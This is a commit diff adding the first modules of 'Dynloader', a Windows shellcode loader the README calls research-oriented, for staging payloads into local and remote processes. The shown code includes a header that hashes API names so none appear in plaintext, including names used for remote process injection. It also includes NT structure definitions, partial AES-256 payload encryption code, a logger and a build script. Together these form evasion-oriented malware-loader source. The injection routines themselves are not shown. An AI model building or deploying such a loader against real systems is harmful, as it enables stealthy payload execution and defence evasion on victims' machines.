Initial version Dynldr modules - V1.0.1

This commit is contained in:
(Havox)
2026-07-10 11:56:50 -07:00
committed by GitHub
parent b39cd70a0d
commit c3ba21aa32
30 changed files with 3564 additions and 3 deletions
+3 -3
View File
@@ -2,13 +2,13 @@
**Modular Windows loader using C++**
For Workaround Check -> **[Building](#Building)**, **[usage](#usage)** and **[testing / demo](#demo)**.
For **[usage](#usage)** and **[testing / demo](#demo)**.
---
## Overview
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts, the currect verison support only shellcode staging, Planned more implementation -> check out **[Planned features](#Planned-features)**.
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**.
It can:
@@ -217,7 +217,7 @@ Writes `.enc` + `.key` next to the input for lab packaging.
---
## Planned-features
## Planned features
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
Binary file not shown.
+291
View File
@@ -0,0 +1,291 @@
@echo off
setlocal EnableExtensions EnableDelayedExpansion
:: =============================================================================
:: build.bat — portable build for loader (Release|x64 by default)
::
:: Usage:
:: build.bat Build Release x64
:: build.bat debug Build Debug x64
:: build.bat clean Clean intermediate + output
:: build.bat --install If no MSVC found, install VS Build Tools (minimal)
:: build.bat --install debug Install tools then Debug build
::
:: What it needs (auto if --install):
:: - Visual Studio 2019/2022/18 Build Tools OR full VS
:: workload: Desktop development with C++ (VCTools)
:: - Windows 10/11 SDK (pulled with workload)
::
:: True zero-install is not possible: MSVC is ~13 GB. This script only
:: downloads the official Build Tools bootstrapper when you pass --install.
::
:: Runtime: project links STATIC CRT (/MT Release, /MTd Debug) so loader.exe
:: does NOT need vcruntime140.dll / msvcp140.dll next to it on target PCs.
:: Prefer: build.bat (Release) for drop-and-run lab use.
:: =============================================================================
cd /d "%~dp0"
set "ROOT=%CD%"
set "SLN=%ROOT%\loader.sln"
set "CONFIG=Release"
set "PLATFORM=x64"
set "DO_INSTALL=0"
set "DO_CLEAN=0"
set "MSBUILD="
set "VSWHERE="
set "TOOLSET="
set "VSINSTALL="
set "VCVARS="
for %%A in (%*) do (
if /I "%%~A"=="--install" set "DO_INSTALL=1"
if /I "%%~A"=="/install" set "DO_INSTALL=1"
if /I "%%~A"=="install" set "DO_INSTALL=1"
if /I "%%~A"=="debug" set "CONFIG=Debug"
if /I "%%~A"=="Debug" set "CONFIG=Debug"
if /I "%%~A"=="release" set "CONFIG=Release"
if /I "%%~A"=="Release" set "CONFIG=Release"
if /I "%%~A"=="clean" set "DO_CLEAN=1"
if /I "%%~A"=="Clean" set "DO_CLEAN=1"
)
if not exist "%SLN%" (
echo [x] loader.sln not found in "%ROOT%"
exit /b 1
)
echo.
echo ============================================
echo loader build ^| %CONFIG%^|%PLATFORM%
echo ============================================
echo.
call :FindVsWhere
call :FindMsBuild
if defined MSBUILD goto :HaveToolchain
if "%DO_INSTALL%"=="1" (
call :InstallBuildTools
call :FindVsWhere
call :FindMsBuild
)
if not defined MSBUILD (
echo [x] MSBuild / C++ toolset not found.
echo.
echo Install options:
echo 1^) Re-run: build.bat --install
echo ^(downloads VS Build Tools + C++ workload, needs admin + internet^)
echo 2^) Manual: https://visualstudio.microsoft.com/visual-cpp-build-tools/
echo Select "Desktop development with C++"
echo.
exit /b 1
)
:HaveToolchain
call :DetectToolset
echo [+] MSBuild : %MSBUILD%
if defined TOOLSET (
echo [+] Toolset: %TOOLSET%
) else (
echo [!] Toolset: ^(project default / auto^)
)
echo [+] Config : %CONFIG%^|%PLATFORM%
echo.
if "%DO_CLEAN%"=="1" (
echo [*] Cleaning...
"%MSBUILD%" "%SLN%" /t:Clean /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /m /nologo /v:minimal
if errorlevel 1 exit /b 1
echo [+] Clean done.
exit /b 0
)
set "EXTRA_PROPS="
if defined TOOLSET set "EXTRA_PROPS=/p:PlatformToolset=%TOOLSET%"
echo [*] Building...
"%MSBUILD%" "%SLN%" /t:Build /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% %EXTRA_PROPS% /m /nologo /v:minimal
if errorlevel 1 (
echo.
echo [x] Build FAILED.
echo If the exe is locked: close loader.exe and rebuild.
echo If toolset missing: build.bat --install
exit /b 1
)
set "OUT=%ROOT%\x64\%CONFIG%\loader.exe"
if exist "%OUT%" (
echo.
echo [+] SUCCESS
echo [+] Output: %OUT%
for %%F in ("%OUT%") do echo [+] Size : %%~zF bytes
) else (
echo.
echo [!] Build reported success but "%OUT%" not found.
echo Check loader\x64\%CONFIG%\ or project OutDir.
)
echo.
exit /b 0
:: ---------------------------------------------------------------------------
:: Find vswhere.exe (ships with VS Installer)
:: ---------------------------------------------------------------------------
:FindVsWhere
set "VSWHERE="
if exist "%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" (
set "VSWHERE=%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe"
exit /b 0
)
if exist "%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" (
set "VSWHERE=%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe"
)
exit /b 0
:: ---------------------------------------------------------------------------
:: Locate MSBuild that can build C++ (prefers latest with VC tools)
:: ---------------------------------------------------------------------------
:FindMsBuild
set "MSBUILD="
set "VSINSTALL="
if defined VSWHERE (
:: Prefer install with Microsoft.VisualStudio.Component.VC.Tools.x86.x64
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
set "VSINSTALL=%%I"
)
if not defined VSINSTALL (
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.Component.MSBuild -property installationPath 2^>nul`) do (
set "VSINSTALL=%%I"
)
)
)
if defined VSINSTALL (
if exist "!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" (
set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe"
exit /b 0
)
if exist "!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" (
set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe"
exit /b 0
)
)
:: Fallback: common fixed paths (VS 18 / 2022 / 2019 Build Tools + Community)
for %%P in (
"%ProgramFiles%\Microsoft Visual Studio\18\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\18\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\18\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\2022\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles%\Microsoft Visual Studio\2022\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe"
"%ProgramFiles(x86)%\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe"
"%ProgramFiles(x86)%\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe"
) do (
if exist %%~P (
set "MSBUILD=%%~P"
exit /b 0
)
)
:: PATH
where msbuild.exe >nul 2>&1
if not errorlevel 1 (
for /f "delims=" %%I in ('where msbuild.exe') do (
set "MSBUILD=%%I"
exit /b 0
)
)
exit /b 0
:: ---------------------------------------------------------------------------
:: Pick PlatformToolset matching installed VS (project file says v145)
:: ---------------------------------------------------------------------------
:DetectToolset
set "TOOLSET="
:: Map VS major version from vswhere when possible
if defined VSWHERE (
for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationVersion 2^>nul`) do (
set "VSVER=%%I"
)
if defined VSVER (
for /f "tokens=1 delims=." %%M in ("!VSVER!") do set "VSMAJOR=%%M"
if "!VSMAJOR!"=="18" set "TOOLSET=v145"
if "!VSMAJOR!"=="17" set "TOOLSET=v143"
if "!VSMAJOR!"=="16" set "TOOLSET=v142"
if defined TOOLSET exit /b 0
)
)
:: Fallback: MSVC folder names under the install
if defined VSINSTALL if exist "!VSINSTALL!\VC\Tools\MSVC" (
for /f "delims=" %%V in ('dir /b /ad /o-n "!VSINSTALL!\VC\Tools\MSVC" 2^>nul') do (
set "VER=%%V"
set "MAJ=!VER:~0,4!"
if "!MAJ!"=="14.5" ( set "TOOLSET=v145" & exit /b 0 )
if "!MAJ!"=="14.4" ( set "TOOLSET=v143" & exit /b 0 )
if "!MAJ!"=="14.3" ( set "TOOLSET=v143" & exit /b 0 )
if "!MAJ!"=="14.2" ( set "TOOLSET=v142" & exit /b 0 )
)
)
:: Last resort: leave empty so .vcxproj PlatformToolset is used
exit /b 0
:: ---------------------------------------------------------------------------
:: Download + install minimal VS Build Tools (C++ desktop workload)
:: ---------------------------------------------------------------------------
:InstallBuildTools
echo.
echo [!] No C++ toolchain found. Installing Visual Studio Build Tools...
echo Workload: Desktop development with C++ (VCTools)
echo This needs Administrator rights and internet. Size ~1.53 GB.
echo.
:: Prefer winget if present (cleanest)
where winget.exe >nul 2>&1
if not errorlevel 1 (
echo [*] Trying winget install of VS 2022 Build Tools...
winget install -e --id Microsoft.VisualStudio.2022.BuildTools --accept-package-agreements --accept-source-agreements --override "--wait --passive --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --add Microsoft.VisualStudio.Component.Windows11SDK.22621"
if not errorlevel 1 (
echo [+] winget install finished.
exit /b 0
)
echo [!] winget install failed or cancelled — falling back to bootstrapper.
)
set "BT_DIR=%ROOT%\.build-tools"
set "BT_EXE=%BT_DIR%\vs_BuildTools.exe"
if not exist "%BT_DIR%" mkdir "%BT_DIR%"
if not exist "%BT_EXE%" (
echo [*] Downloading VS Build Tools bootstrapper...
:: Official ever-green bootstrapper (VS 2022 Build Tools)
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vs_BuildTools.exe' -OutFile '%BT_EXE%' -UseBasicParsing } catch { Write-Error $_; exit 1 }"
if errorlevel 1 (
echo [x] Download failed.
exit /b 1
)
)
echo [*] Running installer (passive). Approve UAC if prompted...
"%BT_EXE%" --wait --passive --norestart ^
--add Microsoft.VisualStudio.Workload.VCTools ^
--includeRecommended ^
--add Microsoft.VisualStudio.Component.Windows11SDK.22621
if errorlevel 1 (
echo [x] Build Tools install failed (exit %ERRORLEVEL%).
echo Run this .bat as Administrator, or install manually:
echo https://visualstudio.microsoft.com/visual-cpp-build-tools/
exit /b 1
)
echo [+] Build Tools install finished.
exit /b 0
+87
View File
@@ -0,0 +1,87 @@
#pragma once
#include <cstdint>
// djb2 — compile-time and runtime hash for module/export resolution.
// No plaintext API names required at call sites; only DWORD constants.
namespace Hashes {
constexpr std::uint32_t kSeed = 5381u;
constexpr std::uint32_t Djb2(const char* s) {
std::uint32_t h = kSeed;
while (*s) {
h = (h * 33u) + static_cast<unsigned char>(*s++);
}
return h;
}
constexpr std::uint32_t Djb2Lower(const char* s) {
std::uint32_t h = kSeed;
while (*s) {
char c = *s++;
if (c >= 'A' && c <= 'Z') {
c = static_cast<char>(c + 32);
}
h = (h * 33u) + static_cast<unsigned char>(c);
}
return h;
}
// --- Module hashes (lowercase basename) ---
constexpr std::uint32_t H_NTDLL_DLL = Djb2Lower("ntdll.dll");
constexpr std::uint32_t H_KERNEL32_DLL = Djb2Lower("kernel32.dll");
constexpr std::uint32_t H_LoadLibraryW = Djb2("LoadLibraryW");
constexpr std::uint32_t H_CreateThread = 0x7F08F451u; // api_hash verified
constexpr std::uint32_t H_WaitForSingleObject = Djb2("WaitForSingleObject");
constexpr std::uint32_t H_CloseHandle = Djb2("CloseHandle");
constexpr std::uint32_t H_CreateProcessW = Djb2("CreateProcessW");
constexpr std::uint32_t H_CreateRemoteThread = Djb2("CreateRemoteThread");
constexpr std::uint32_t H_ResumeThread = Djb2("ResumeThread");
constexpr std::uint32_t H_SearchPathW = Djb2("SearchPathW");
constexpr std::uint32_t H_OpenProcess = Djb2("OpenProcess");
constexpr std::uint32_t H_WS2_32_DLL = Djb2Lower("ws2_32.dll");
constexpr std::uint32_t H_BCRYPT_DLL = Djb2Lower("bcrypt.dll");
// --- NT exports (syscall targets) ---
constexpr std::uint32_t H_NtAllocateVirtualMemory = Djb2("NtAllocateVirtualMemory");
constexpr std::uint32_t H_NtProtectVirtualMemory = Djb2("NtProtectVirtualMemory");
constexpr std::uint32_t H_NtWriteVirtualMemory = Djb2("NtWriteVirtualMemory");
constexpr std::uint32_t H_NtFreeVirtualMemory = Djb2("NtFreeVirtualMemory");
constexpr std::uint32_t H_NtCreateSection = Djb2("NtCreateSection");
constexpr std::uint32_t H_NtMapViewOfSection = Djb2("NtMapViewOfSection");
constexpr std::uint32_t H_NtUnmapViewOfSection = Djb2("NtUnmapViewOfSection");
constexpr std::uint32_t H_NtOpenProcess = Djb2("NtOpenProcess");
constexpr std::uint32_t H_NtCreateThreadEx = Djb2("NtCreateThreadEx");
constexpr std::uint32_t H_NtClose = Djb2("NtClose");
constexpr std::uint32_t H_NtQuerySystemInformation = Djb2("NtQuerySystemInformation");
constexpr std::uint32_t H_NtCreateFile = Djb2("NtCreateFile");
constexpr std::uint32_t H_NtReadFile = Djb2("NtReadFile");
constexpr std::uint32_t H_NtQueryInformationProcess = Djb2("NtQueryInformationProcess");
// --- BCrypt (AES) — runtime-verified on MSVC x64 ---
constexpr std::uint32_t H_BCryptOpenAlgorithmProvider = 0x2A15DFDDu;
constexpr std::uint32_t H_BCryptCloseAlgorithmProvider = 0xFCD0CDC1u;
constexpr std::uint32_t H_BCryptGenerateSymmetricKey = 0xA81D472Au;
constexpr std::uint32_t H_BCryptDestroyKey = 0x7B16C8CCu;
constexpr std::uint32_t H_BCryptEncrypt = 0xCB04529Eu;
constexpr std::uint32_t H_BCryptDecrypt = 0x690BA834u;
constexpr std::uint32_t H_BCryptSetProperty = 0xE9049EEAu;
constexpr std::uint32_t H_BCryptGenRandom = 0x3A73C634u;
// --- Winsock (HTTP client/server) ---
constexpr std::uint32_t H_WSAStartup = Djb2("WSAStartup");
constexpr std::uint32_t H_WSACleanup = Djb2("WSACleanup");
constexpr std::uint32_t H_socket = Djb2("socket");
constexpr std::uint32_t H_connect = Djb2("connect");
constexpr std::uint32_t H_send = Djb2("send");
constexpr std::uint32_t H_recv = Djb2("recv");
constexpr std::uint32_t H_closesocket = Djb2("closesocket");
constexpr std::uint32_t H_bind = Djb2("bind");
constexpr std::uint32_t H_listen = Djb2("listen");
constexpr std::uint32_t H_accept = Djb2("accept");
constexpr std::uint32_t H_getaddrinfo = Djb2("getaddrinfo");
constexpr std::uint32_t H_freeaddrinfo = Djb2("freeaddrinfo");
constexpr std::uint32_t H_setsockopt = Djb2("setsockopt");
} // namespace Hashes
+141
View File
@@ -0,0 +1,141 @@
#include "log.hpp"
#include <cstring>
namespace Log {
namespace {
bool g_verbose = false;
bool g_serverVerbose = false;
void VPrint(const char* prefix, const char* fmt, va_list args) {
std::fprintf(stdout, "%s ", prefix);
std::vfprintf(stdout, fmt, args);
std::fprintf(stdout, "\n");
std::fflush(stdout);
}
void VPrintIf(bool enabled, const char* prefix, const char* fmt, va_list args) {
if (!enabled) {
return;
}
VPrint(prefix, fmt, args);
}
} // namespace
void SetVerbose(bool enabled) {
g_verbose = enabled;
}
void SetServerVerbose(bool enabled) {
g_serverVerbose = enabled;
}
bool IsVerbose() {
return g_verbose;
}
bool IsServerVerbose() {
return g_serverVerbose;
}
void Ok(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrint("[+]", fmt, args);
va_end(args);
}
void Warn(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrint("[!]", fmt, args);
va_end(args);
}
void Err(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrint("[x]", fmt, args);
va_end(args);
}
void Info(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[*]", fmt, args);
va_end(args);
}
void Dbg(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[-]", fmt, args);
va_end(args);
}
void Sys(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[@]", fmt, args);
va_end(args);
}
void Raw(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[@]", fmt, args);
va_end(args);
}
void Banner(const char* title) {
if (!g_verbose) {
return;
}
std::fprintf(stdout, "\n[@] === %s ===\n", title);
std::fflush(stdout);
}
void NtStatus(const char* tag, long status) {
if (!g_verbose) {
return;
}
std::fprintf(stdout, "[@] %s NTSTATUS=0x%08lX (%s)\n", tag,
static_cast<unsigned long>(status),
status >= 0 ? "SUCCESS" : "FAIL");
std::fflush(stdout);
}
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes) {
if (!g_verbose || !data || len == 0) {
return;
}
const auto* p = static_cast<const unsigned char*>(data);
const size_t n = len < maxBytes ? len : maxBytes;
std::fprintf(stdout, "[@] %s hex[%zu/%zu]: ", tag, n, len);
for (size_t i = 0; i < n; ++i) {
std::fprintf(stdout, "%02X ", p[i]);
}
if (len > maxBytes) {
std::fprintf(stdout, "...");
}
std::fprintf(stdout, "\n");
std::fflush(stdout);
}
void Srv(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_serverVerbose, "[S]", fmt, args);
va_end(args);
}
void SrvBanner(const char* title) {
if (!g_serverVerbose) {
return;
}
std::fprintf(stdout, "\n[S] === %s ===\n", title);
std::fflush(stdout);
}
} // namespace Log
+34
View File
@@ -0,0 +1,34 @@
#pragma once
#include <cstdarg>
#include <cstdio>
#include <cstddef>
namespace Log {
// Two independent channels so --server --verbose does not dump loader/syscall noise,
// and loader --verbose does not spam server request logs.
void SetVerbose(bool enabled); // loader / injection / syscall path
void SetServerVerbose(bool enabled); // HTTP fileless server path only
bool IsVerbose();
bool IsServerVerbose();
// Always shown (normal + verbose)
void Ok(const char* fmt, ...); // [+] essential success
void Warn(const char* fmt, ...); // [!] warning
void Err(const char* fmt, ...); // [x] error
// Loader verbose only (--verbose on normal/fileless/enc)
void Info(const char* fmt, ...); // [*] step info
void Dbg(const char* fmt, ...); // [-] debug detail
void Sys(const char* fmt, ...); // [@] syscall / internals
void Raw(const char* fmt, ...); // [@] bare unstructured dump
void Banner(const char* title); // [@] section header
void NtStatus(const char* tag, long status);
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes = 64);
// Server verbose only (--server ... --verbose)
void Srv(const char* fmt, ...); // [S] server step / request
void SrvBanner(const char* title); // [S] server section header
} // namespace Log
+110
View File
@@ -0,0 +1,110 @@
#pragma once
#include <Windows.h>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
using NTSTATUS = LONG;
// Additional NT constants not always in winternl.h
#ifndef SEC_COMMIT
#define SEC_COMMIT 0x08000000
#endif
#ifndef ViewShare
#define ViewShare 1
#endif
#ifndef ViewUnmap
#define ViewUnmap 2
#endif
#ifndef SystemProcessInformation
#define SystemProcessInformation 5
#endif
#ifndef PROCESS_ALL_ACCESS
#define PROCESS_ALL_ACCESS 0x001FFFFF
#endif
#ifndef OBJ_CASE_INSENSITIVE
#define OBJ_CASE_INSENSITIVE 0x00000040L
#endif
typedef struct _UNICODE_STRING_NT {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_NT, *PUNICODE_STRING_NT;
typedef struct _OBJECT_ATTRIBUTES_NT {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING_NT ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES_NT, *POBJECT_ATTRIBUTES_NT;
typedef struct _CLIENT_ID_NT {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID_NT, *PCLIENT_ID_NT;
typedef struct _IO_STATUS_BLOCK_NT {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK_NT, *PIO_STATUS_BLOCK_NT;
// Process enumeration (SystemProcessInformation)
typedef struct _SYSTEM_PROCESS_INFORMATION_NT {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING_NT ImageName;
LONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PagefileUsage;
ULONG_PTR PeakPagefileUsage;
ULONG_PTR WorkingSetSize;
ULONG_PTR PeakWorkingSetSize;
ULONG_PTR QuotaPagedPoolUsage;
ULONG_PTR QuotaPeakPagedPoolUsage;
ULONG_PTR QuotaNonPagedPoolUsage;
ULONG_PTR QuotaPeakNonPagedPoolUsage;
ULONG_PTR PagefileUsage2;
ULONG_PTR PeakPagefileUsage2;
ULONG_PTR PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION_NT, *PSYSTEM_PROCESS_INFORMATION_NT;
inline void InitObjectAttributes(
POBJECT_ATTRIBUTES_NT p,
PUNICODE_STRING_NT name,
ULONG attributes,
HANDLE root,
PVOID security)
{
p->Length = sizeof(OBJECT_ATTRIBUTES_NT);
p->RootDirectory = root;
p->Attributes = attributes;
p->ObjectName = name;
p->SecurityDescriptor = security;
p->SecurityQualityOfService = nullptr;
}
+312
View File
@@ -0,0 +1,312 @@
#include "aes_crypto.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/nt_types.hpp"
#include "../common/log.hpp"
#include <bcrypt.h>
#include <fstream>
#include <cstring>
namespace AesCrypto {
namespace {
using BCryptOpenAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG);
using BCryptCloseAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, ULONG);
using BCryptGenerateSymmetricKey_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG);
using BCryptDestroyKey_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE);
using BCryptEncrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
using BCryptDecrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
using BCryptSetProperty_t = NTSTATUS(WINAPI*)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG);
using BCryptGenRandom_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
struct BcryptApi {
BCryptOpenAlgorithmProvider_t Open = nullptr;
BCryptCloseAlgorithmProvider_t Close = nullptr;
BCryptGenerateSymmetricKey_t GenKey = nullptr;
BCryptDestroyKey_t DestroyKey = nullptr;
BCryptEncrypt_t Encrypt = nullptr;
BCryptDecrypt_t Decrypt = nullptr;
BCryptSetProperty_t SetProperty = nullptr;
BCryptGenRandom_t GenRandom = nullptr;
bool loaded = false;
};
bool LoadBcrypt(BcryptApi& api) {
if (api.loaded) {
return true;
}
api.Open = reinterpret_cast<BCryptOpenAlgorithmProvider_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptOpenAlgorithmProvider));
api.Close = reinterpret_cast<BCryptCloseAlgorithmProvider_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptCloseAlgorithmProvider));
api.GenKey = reinterpret_cast<BCryptGenerateSymmetricKey_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenerateSymmetricKey));
api.DestroyKey = reinterpret_cast<BCryptDestroyKey_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDestroyKey));
api.Encrypt = reinterpret_cast<BCryptEncrypt_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptEncrypt));
api.Decrypt = reinterpret_cast<BCryptDecrypt_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDecrypt));
api.SetProperty = reinterpret_cast<BCryptSetProperty_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptSetProperty));
// BCryptGenRandom is in bcrypt.dll but not in our hash table — resolve by adding hash
api.GenRandom = reinterpret_cast<BCryptGenRandom_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenRandom));
api.loaded = api.Open && api.Close && api.GenKey && api.DestroyKey &&
api.Encrypt && api.Decrypt && api.SetProperty && api.GenRandom;
return api.loaded;
}
} // namespace
bool GenerateKeyMaterial(KeyMaterial& out) {
Log::Dbg("AES: GenerateKeyMaterial (BCryptGenRandom system RNG)");
BcryptApi api{};
if (!LoadBcrypt(api)) {
Log::Dbg("AES: bcrypt API resolve failed");
return false;
}
out.key.resize(32);
out.iv.resize(16);
// BCryptGenRandom with NULL handle requires BCRYPT_USE_SYSTEM_PREFERRED_RNG on Win8+.
constexpr ULONG kSystemRng = 0x00000002;
if (!NT_SUCCESS(api.GenRandom(nullptr, out.key.data(), static_cast<ULONG>(out.key.size()), kSystemRng)) ||
!NT_SUCCESS(api.GenRandom(nullptr, out.iv.data(), static_cast<ULONG>(out.iv.size()), kSystemRng))) {
Log::Dbg("AES: GenRandom failed");
return false;
}
Log::Dbg("AES: key=%zu bytes iv=%zu bytes", out.key.size(), out.iv.size());
return true;
}
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext) {
Log::Dbg("AES Encrypt: plain=%zu key=%zu iv=%zu mode=AES-256-CBC",
plaintext.size(), km.key.size(), km.iv.size());
if (km.key.size() != 32 || km.iv.size() != 16 || plaintext.empty()) {
Log::Dbg("AES Encrypt: bad args");
return false;
}
BcryptApi api{};
if (!LoadBcrypt(api)) {
Log::Dbg("AES Encrypt: bcrypt API resolve failed");
return false;
}
BCRYPT_ALG_HANDLE hAlg = nullptr;
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
return false;
}
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCRYPT_KEY_HANDLE hKey = nullptr;
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
api.Close(hAlg, 0);
return false;
}
std::vector<BYTE> ivWork = km.iv;
ULONG cipherLen = 0;
api.Encrypt(hKey, const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
nullptr, 0, &cipherLen, BCRYPT_BLOCK_PADDING);
ciphertext.resize(cipherLen);
ULONG written = 0;
NTSTATUS st = api.Encrypt(
hKey,
const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
nullptr,
ivWork.data(), static_cast<ULONG>(ivWork.size()),
ciphertext.data(), static_cast<ULONG>(ciphertext.size()),
&written, BCRYPT_BLOCK_PADDING);
api.DestroyKey(hKey);
api.Close(hAlg, 0);
if (!NT_SUCCESS(st)) {
Log::Dbg("AES Encrypt: BCryptEncrypt failed NTSTATUS=0x%08lX",
static_cast<unsigned long>(st));
return false;
}
ciphertext.resize(written);
Log::Dbg("AES Encrypt OK: cipher=%zu bytes", ciphertext.size());
return true;
}
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext) {
Log::Dbg("AES Decrypt: cipher=%zu key=%zu iv=%zu mode=AES-256-CBC",
ciphertext.size(), km.key.size(), km.iv.size());
if (km.key.size() != 32 || km.iv.size() != 16 || ciphertext.empty()) {
Log::Dbg("AES Decrypt: bad args");
return false;
}
BcryptApi api{};
if (!LoadBcrypt(api)) {
Log::Dbg("AES Decrypt: bcrypt API resolve failed");
return false;
}
BCRYPT_ALG_HANDLE hAlg = nullptr;
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
return false;
}
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCRYPT_KEY_HANDLE hKey = nullptr;
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
